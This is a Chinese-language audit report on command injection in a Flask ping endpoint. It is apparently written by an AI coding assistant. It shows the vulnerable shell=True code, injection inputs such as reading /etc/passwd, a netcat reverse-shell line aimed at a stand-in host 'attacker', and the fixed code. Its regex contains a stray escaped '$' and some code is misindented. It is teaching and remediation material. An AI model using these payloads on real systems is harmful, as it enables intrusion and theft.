

目录

命令注入漏洞修复报告 1

目录 1

1. 漏洞概述 2

2. 漏洞一：无命令输入过滤 2

2.1 问题描述 2

2.2 问题代码 2

2.3 攻击示例 2

2.4 实际攻击过程 3

3. 漏洞二：使用 shell=True 执行 3

3.1 问题描述 3

3.2 shell=True 与 shell=False 的区别 3

4. 命令注入漏洞原理 4

4.1 什么是命令注入 4

4.2 命令分隔符 4

4.3 命令注入与路径遍历/SSRF 的区别 4

4.4 命令注入的典型后果 4

5. 修复方案 5

5.1 修复对照表 5

5.2 修复后核心代码 5

6. 修复前后代码对比 6

漏洞版（f-string + shell=True） 6

修复版（参数列表 + 输入校验） 6

7. 安全建议 7

7.1 命令执行安全规范 7

7.2 替代方案：使用 Python 内置功能 7

7.3 shell=True 安全检查清单 7

7.4 安全的命令执行 7

附录：OWASP 命令注入防御指南 8

命令注入漏洞修复报告

项目名称：用户信息管理系统

报告日期：2026-07-15

审计目标：Flask 用户管理平台中的命令注入（Command Injection）漏洞分析与修复

报告人：安全审计组

目录

1. 漏洞概述

2. 漏洞一：无命令输入过滤
3. 漏洞二：使用 shell=True 执行
4. 命令注入漏洞原理
5. 修复方案
6. 修复前后代码对比
7. 安全建议

1. 漏洞概述

在本次安全审计中，发现目标系统的 Ping 网络诊断功能存在 **2 项命令注入漏洞**，攻击者可通过构造恶意输入在服务器上执行任意系统命令。

编号	漏洞名称	风险等级	攻击入口
CI-001	f-string 拼接系统命令	严重	ip 参数中的 ;、&&、 等
CI-002	shell=True 执行命令	严重	通过 shell 执行任意命令

2. 漏洞一：无命令输入过滤

2.1 问题描述

使用 f-string 直接拼接用户输入的 ip 参数到系统命令中，没有任何过滤或校验。

2.2 问题代码

```
@app.route("/ping", methods=["POST"])
def ping():
    ip = request.form.get("ip", "")

    # 使用 f-string 拼接系统命令 —— 存在命令注入!
    command = f"ping -c 3 {ip}"
    print(f"[CMD] {command}")

    # 使用 shell=True 执行
    output = subprocess.check_output(command, shell=True, timeout=30)
```

2.3 攻击示例

输入	拼接后的命令	效果
127.0.0.1	ping -c 3 127.0.0.1	正常 ping
127.0.0.1; whoami	ping -c 3 127.0.0.1; whoami	执行 whoami
127.0.0.1; cat /etc/passwd	ping -c 3 127.0.0.1; cat /etc/passwd	读取密码文件
127.0.0.1; ls -la /root	ping -c 3 127.0.0.1; ls -la /root	查看 root 目录
127.0.0.1; id	ping -c 3 127.0.0.1; id	查看当前权限
127.0.0.1 nc attacker 4444 -e /bin/sh	反弹 shell	远程控制服务器

2.4 实际攻击过程

攻击者输入： 127.0.0.1; whoami

服务器拼接： f"ping -c 3 {ip}"
-> "ping -c 3 127.0.0.1; whoami"

shell 执行： 先执行 ping -c 3 127.0.0.1
然后执行 whoami (因为 ; 分隔了两个命令)

结果返回： PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.029ms
root <- 攻击者获取了当前用户名!

3. 漏洞二：使用 shell=True 执行

3.1 问题描述

subprocess.check_output() 设置了 shell=True, 这意味着命令通过系统 shell (/bin/bash) 执行, shell 会解析命令中的特殊字符。

3.2 shell=True 与 shell=False 的区别

```
# shell=True ——通过 shell 执行, 会解析 / ; & 等特殊字符
subprocess.check_output("ping -c 3 " + ip, shell=True)
# 相当于执行: /bin/bash -c "ping -c 3 127.0.0.1; whoami"

# shell=False ——直接执行程序, 参数不会经过 shell 解析
subprocess.check_output(["ping", "-c", "3", ip])
```

```
# 直接执行 ping 程序，参数 "127.0.0.1; whoami" 被当作一个整体传给 ping
# ping 会去 ping 一个叫 "127.0.0.1; whoami" 的域名（不存在，报错）
# 但不会执行 whoami 命令！
```

4. 命令注入漏洞原理

4.1 什么是命令注入

命令注入（Command Injection）是一种攻击方式，通过向服务器提交恶意构造的输入，在服务器上执行任意系统命令。

4.2 命令分隔符

以下特殊字符可在 shell 中分隔或组合命令：

字符	含义	示例
;	顺序执行多条命令	ping 1.1; whoami
&&	前一条成功才执行下一条	ping 1.1 && whoami
	前一条失败才执行下一条	ping xxx whoami
	管道，将前一条输出传给下一条	ping 1.1 grep time
`	命令替换	echo whoami
\$()	命令替换	echo \$(whoami)
\n	换行符分割	ping 1.1\nwhoami

4.3 命令注入与路径遍历/SSRF 的区别

漏洞类型	攻击能力	危害等级
路径遍历	读取文件	中危
SSRF	发送网络请求	高危
命令注入	执行任意系统命令	严重

命令注入是这三者中危害最大的，因为它允许攻击者在服务器上执行任意操作。

4.4 命令注入的典型后果

后果	说明
服务器沦陷	攻击者获得服务器的完全控制权
数据泄露	读取数据库、配置文件、源代码

后果	说明
内网渗透	以服务器为跳板攻击内网其他系统
持久化	安装后门、木马、挖矿程序
横向移动	窃取其他服务器的登录凭证

5. 修复方案

5.1 修复对照表

漏洞编号	修复措施	风险等级变化
CI-001	使用参数列表而非字符串拼接	严重 -> 已修复
CI-002	移除 shell=True, 使用默认 shell=False	严重 -> 已修复
CI-003	添加输入合法性校验 (正则白名单)	严重 -> 已修复

5.2 修复后核心代码

```
import subprocess
import re

@app.route("/ping", methods=["GET", "POST"])
def ping():
    if "username" not in session:
        return redirect("/login")

    if request.method == "POST":
        ip = request.form.get("ip", "")

        # 【已修复】输入校验：只允许 IP 地址和域名字符
        if not re.match(r'^[a-zA-Z0-9\.\-]+\$', ip):
            return render_template("ping.html", result=" 错误：只允许输入 IP 地址或域名")

    try:
        # 【已修复】使用参数列表而非字符串, shell=False (默认)
        output = subprocess.check_output(
            ["ping", "-c", "3", ip],
            timeout=30,
            stderr=subprocess.STDOUT,
        )
        result = output.decode("utf-8", errors="ignore")
```

```

except subprocess.CalledProcessError as e:
    result = f" 执行失败: {e}"
except subprocess.TimeoutExpired:
    result = " 执行超时"

return render_template("ping.html", result=result, ip=ip)

return render_template("ping.html")

```

6. 修复前后代码对比

漏洞版 (f-string + shell=True)

```

@app.route("/ping", methods=["POST"])
def ping():
    ip = request.form.get("ip", "")
    command = f"ping -c 3 {ip}"
    print(f"[CMD] {command}")
    output = subprocess.check_output(command, shell=True, timeout=30)
    result = output.decode("utf-8", errors="ignore")
    return render_template("ping.html", result=result, ip=ip)

```

修复版 (参数列表 + 输入校验)

```

import re

@app.route("/ping", methods=["POST"])
def ping():
    ip = request.form.get("ip", "")
    if not re.match(r'^[a-zA-Z0-9\.\-]+\$', ip):
        return render_template("ping.html", result=" 错误: 只允许输入 IP 地址或域名", ip=ip)
    try:
        output = subprocess.check_output(
            ["ping", "-c", "3", ip],
            timeout=30,
            stderr=subprocess.STDOUT,
        )
        result = output.decode("utf-8", errors="ignore")
    except Exception as e:
        result = f" 执行失败: {e}"
    return render_template("ping.html", result=result, ip=ip)

```

7. 安全建议

7.1 命令执行安全规范

检查项	说明	优先级
避免 shell=True	使用参数列表调用外部命令	必须
输入白名单校验	限制输入字符类型	必须
避免命令执行	优先使用 Python 内置功能替代系统命令	推荐
限制执行时间	使用 timeout 参数防止挂起	必须

7.2 替代方案：使用 Python 内置功能

```
# 使用 Python 的 ping3 库，完全避免系统命令
import ping3
result = ping3.ping(ip, timeout=3)
if result is not None:
    return f" 来自 {ip} 的回复: 延迟 = {result*1000:.1f}ms"
else:
    return f" 请求超时"
```

7.3 shell=True 安全检查清单

- 是否真的需要 shell=True? 大多数情况下不需要
- 是否使用了 f-string 或 + 拼接命令字符串?
- 用户输入是否经过了验证和过滤?
- 是否设置了超时时间防止 DoS?
- 是否捕获了所有异常?
- 应用是否以最小权限用户运行?

7.4 安全的命令执行

```
# 安全：参数列表方式
subprocess.run(["ls", "-la", "/tmp"], capture_output=True)

# 危险：字符串拼接 + shell=True
subprocess.run(f"ls -la {user_input}", shell=True) # 不要这样做!

# 如果必须使用 shell=True, 用户输入必须经过严格白名单校验
if not re.match(r'^[a-zA-Z0-9_-]+$' , user_input):
```

```
raise ValueError(" 非法输入")
subprocess.run(f"ls -la {user_input}", shell=True)
```

附录：OWASP 命令注入防御指南

OWASP 关于命令注入的推荐做法：

1. **避免直接调用操作系统命令**：优先使用语言内置 API
2. **使用参数化调用**：使用参数列表而非字符串拼接
3. **输入白名单校验**：定义允许的字符集，拒绝其他所有字符
4. **最小权限原则**：应用程序以最小必要权限运行
5. **限制执行环境**：使用容器或沙箱隔离命令执行环境

著名命令注入案例： - Shellshock 漏洞 (CVE-2014-6271)：影响全球数十亿设备 - ThinkPHP 命令执行漏洞：大量网站被植入挖矿程序 - 各种网络设备 Web 管理界面的命令注入漏洞

报告编写： Claude Code AI Assistant

报告版本： v1.0

参考标准： OWASP Top 10 (2021) - A03:2021 Injection

测试环境： Flask 用户管理系统

免责声明： 本报告仅用于安全学习和教学目的